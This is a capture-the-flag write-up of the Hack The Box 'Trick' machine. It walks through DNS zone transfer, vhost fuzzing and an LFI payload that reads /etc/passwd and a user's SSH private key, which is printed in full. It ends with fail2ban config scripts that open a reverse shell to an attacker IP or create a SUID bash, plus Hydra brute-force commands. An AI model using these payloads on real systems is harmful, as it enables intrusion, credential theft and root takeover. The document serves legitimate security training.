Initial Recon

Nmap

Starting with a basic tcp scan for the top 1000 ports using nmap, I got the below results:

$ nmap -p- -A 10.10.11.166

Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-28 13:47 EEST
Nmap scan report for trick.htb (10.10.11.166)
Host is up (0.15s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61ff293b36bd9dacfbde1f56884cae2d (RSA)
|   256 9ecdf2406196ea21a6ce2602af759a78 (ECDSA)
|_  256 7293f91158de34ad12b54b4a7364b970 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 527.64 seconds

Few ports are open including (22,25,53,80) and I can see that port 53 running a dns server is open. Usually dns services operate on udp ports, so I’ll also scan top 1000 udp ports on this machine.

$ sudo nmap -A -sU 10.10.11.166

Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-28 14:00 EEST
Nmap scan report for trick.htb (10.10.11.166)
Host is up (0.099s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT     STATE         SERVICE  VERSION
53/udp   open          domain   ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
68/udp   open|filtered dhcpc
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf
Device type: remote management|webcam|phone|general purpose|storage-misc
Running: Avocent embedded, AXIS embedded, Google Android 2.X, Linux 2.6.X|3.X, ZyXEL embedded
OS CPE: cpe:/h:axis:207w_network_camera cpe:/o:google:android:2.2 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:2.6.17 cpe:/o:linux:linux_kernel:3.8 cpe:/h:zyxel:nsa-210
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 49194/udp)
HOP RTT       ADDRESS
1   139.39 ms 10.10.16.1
2   73.82 ms  10.10.11.166

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1231.47 seconds

Interacting With Services

Port 80 (TCP)

Navigating to the web server on port 80, I didn’t find anything of interest.

Main Page Port 80

It’s a single static page with no useful information.

Port 53 (UDP/TCP)

I’ll try first to look for Zone Transfer if enabled in order to get more information about the target since I don’t even know its domain name.

$ dig axfr @10.10.11.166

; <<>> DiG 9.18.7-1-Debian <<>> axfr @10.10.11.166
; (1 server found)
;; global options: +cmd
;; Query time: 84 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (UDP)
;; WHEN: Fri Oct 28 14:13:16 EEST 2022
;; MSG SIZE  rcvd: 56

Howerver I didn’t get anything useful, that’s why I’ll try next by guessing the domain from the machine’s name trick.htb:

$ dig axfr @10.10.11.166 trick.htb

; <<>> DiG 9.18.7-1-Debian <<>> axfr @10.10.11.166 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.		604800	IN	NS	trick.htb.
trick.htb.		604800	IN	A	127.0.0.1
trick.htb.		604800	IN	AAAA	::1
preprod-payroll.trick.htb. 604800 IN	CNAME	trick.htb.
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 240 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Fri Oct 28 14:21:21 EEST 2022
;; XFR size: 6 records (messages 1, bytes 231)

From the results above, I can see that trick.htb is a valid domain name. It also discloses a new domain preprod-payroll.trick.htb, so I’ll add these to my /etc/hosts file.

sudo echo -e '10.10.11.166\ttrick.htb , preprod-payroll.trick.htb' | sudo tee -a /etc/hosts

Enumerating Web Server

VHOST Enumeration

After some simple directory bruteforcing on preprod-payroll.trick.htb, I came to a dead end. The only thing I found was a login page and a database directory giving me a 403 forbidden, and I wasn’t able to find any files there with the simple wordlists I use.

So I had to enumerate vhosts looking for some hidden domains. Again using a simple wordlist from seclists called subdomains-top1million-5000.txt I wasn’t able to find anything, however this time I had a clue about the manner they name their domain, it seems that they append the prefix preprod- to thier domain, so why not doing the same and bruteforce vhosts again using this prefix.

  • Enumerating vhosts using Gobuster:

    • I can create a new wordlist from subdomains-top1million-5000.txt by appending preprod- to each line using sed: sed 's/^/preprod-/' /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt > new_custom_wordlist.txt
    • Then use vhost flag with gobuster gobuster vhost -w new_custom_wordlist.txt -u trick.htb --append-domain
  • Enumerating vhosts using Ffuf:

    • Here I don’t need to create a new wordlist, but I do need to filter requests on the size because the server responds with 200 response code on any random subdomain, so the only way to know if the subdomain is valid is by getting a different content length: ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://trick.htb/ -H 'Host: preprod-FUZZ.trick.htb' -fs 5480
    • Note: This is the same technique that gobuster vhost flag uses.

I got a valid domain preprod-marketing.trick.htb so I’ll add it to my /etc/hosts file.

sudo echo -e '10.10.11.166\tpreprod-marketing.trick.htb' | sudo tee -a /etc/hosts

Navigating to this new domain, I can clearly see that it is a new website:

preprod-marketing.trick.htb Main Page

Exploiting LFI

Navigating to one of the present tabs, I noticed ?page=services.html GET parameter, which might indicate a possible LFI vulnerability.

Again, I’ll use Ffuf to fuzz this parameter using LFI payloads from seclists:

$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://preprod-marketing.trick.htb/index.php?page=FUZZ -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://preprod-marketing.trick.htb/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 153ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 225ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 86ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 85ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 85ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 96ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 97ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 98ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 98ms]
....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 88ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 99ms]
....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 90ms]
....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 90ms]
....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 91ms]
....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 93ms]
....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 94ms]
....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 100ms]
....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 105ms]
....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 119ms]
....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 122ms]
:: Progress: [920/920] :: Job [1/1] :: 416 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

And I got several hits with a payload like ....//....//....//....//....//....//....//etc/passwd, so now I’ll use curl to read local files from this server.

$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//etc/passwd

root:x:0:0:root:/root:/bin/bash
...
michael:x:1001:1001::/home/michael:/bin/bash

Getting User

From /etc/passwd I can see that michael is a user on this machine, so I’ll try to read his private SSH key which will usually be present in /home/[username]/.ssh/id_rsa:

$ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//home/michael/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

And it worked, so now I’ll be able to SSH into the server as user michael.

$ curl -s http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//home/michael/.ssh/id_rsa > michael_id_rsa
$ chmod 600 michael_id_rsa
$ ssh -i michael_id_rsa michael@trick.htb

Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Oct 28 17:15:31 2022 from 10.10.14.105
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael@trick:~$ cat user.txt
043**************************bda

Post Enumeration

I can see that michael is part of security group (using id command), and if I run sudo -l I get the following results:

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

User michael can restart fail2ban service, which is a service that monitors log files for certain services like apache and SSH looking for any sign of bruteforce and blocks the corresponding IP address. In addition, if I search for files owned by security group:

michael@trick:~$ find / -group security 2>/dev/null
/etc/fail2ban/action.d

I can see that action.d directory of fail2ban service is owned by security group, so I might be able to abuse this for privilege escalation to root.

Getting root

Even though I have write permission on action.d directory, I do not have write permission to any file inside it, which means that I cannot override any file, however I can create and move files around (or better said rename files).

michael@trick:/etc/fail2ban/action.d$ ls -la
total 288
drwxrwx--- 2 root security  4096 Oct 28 18:21 .
drwxr-xr-x 6 root root      4096 Oct 28 18:21 ..
-rw-r--r-- 1 root root      3879 Oct 28 18:21 abuseipdb.conf
-rw-r--r-- 1 root root       587 Oct 28 18:21 apf.conf
...
-rw-r--r-- 1 root root      1045 Oct 28 18:21 ufw.conf
-rw-r--r-- 1 root root      6082 Oct 28 18:21 xarf-login-attack.conf
  • Files are only writable by root.

From the jail configuration file (/etc/fail2ban/jail.conf), I can see:

...
bantime  = 10s
...
findtime  = 10s
...
maxretry = 5
...
banaction = iptables-multiport
...

Which means that the ban action will be triggered upon 5 unsuccessful login within 10 seconds and will last for 10 seconds. And the file responsible for the ban action is iptables-multiport.conf (will get executed when bruteforce is detected).

So:

  • I can rename the orginal file to iptables-multiport.conf.bak and create a new file that has the same name and contents in addition to my malicious code.
  • Change the permission of the file to be executable.
  • Then restart the service with sudo permission.
  • Finally trigger the ban action using Hydra or any other tool for bruteforcing.
michael@trick:~$ cat pwn_reverse_shell.sh 
#!/bin/bash
# 1. rename the file
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak
# 2. substitute the word `actionban` from the config file with `actionban = bash -c "bash -i>& /dev/tcp/10.10.16.59/8989 0>&1" \n#` to get a reverse shell
sed 's/actionban/actionban = bash -c "bash -i>\& \/dev\/tcp\/10.10.16.59\/8989 0>\&1" \n#/' /etc/fail2ban/action.d/iptables-multiport.conf.bak > /etc/fail2ban/action.d/iptables-multiport.conf
# 3. make the file executable and restart fail2ban service
chmod +x /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart
michael@trick:~$ cat pwn_SUID.sh 
#!/bin/bash
# 1. rename the file
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak
# 2. substitute the word `actionban` from the config file with `actionban = cp /bin/bash /tmp/newbash && chmod u+s /tmp/newbash \n#` to get a new SUID bash executable in /tmp/ directory
sed 's/actionban/actionban = cp \/bin\/bash \/tmp\/newbash \&\& chmod u+s \/tmp\/newbash \n#/' /etc/fail2ban/action.d/iptables-multiport.conf.bak > /etc/fail2ban/action.d/iptables-multiport.conf
# 3. make the file executable and restart fail2ban service
chmod +x /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart

I can either get a reverse shell or make a new bash executable as SUID.

  • Bruteforce using Hydra:

    • hydra -l root -P /usr/share/wordlists/rockyou.txt trick.htb ssh -t 6 -vvv
  • Bruteforce using SSHPass

    • for i in {1..10}; do time sshpass -p "test" ssh root@trick.htb; done

Getting root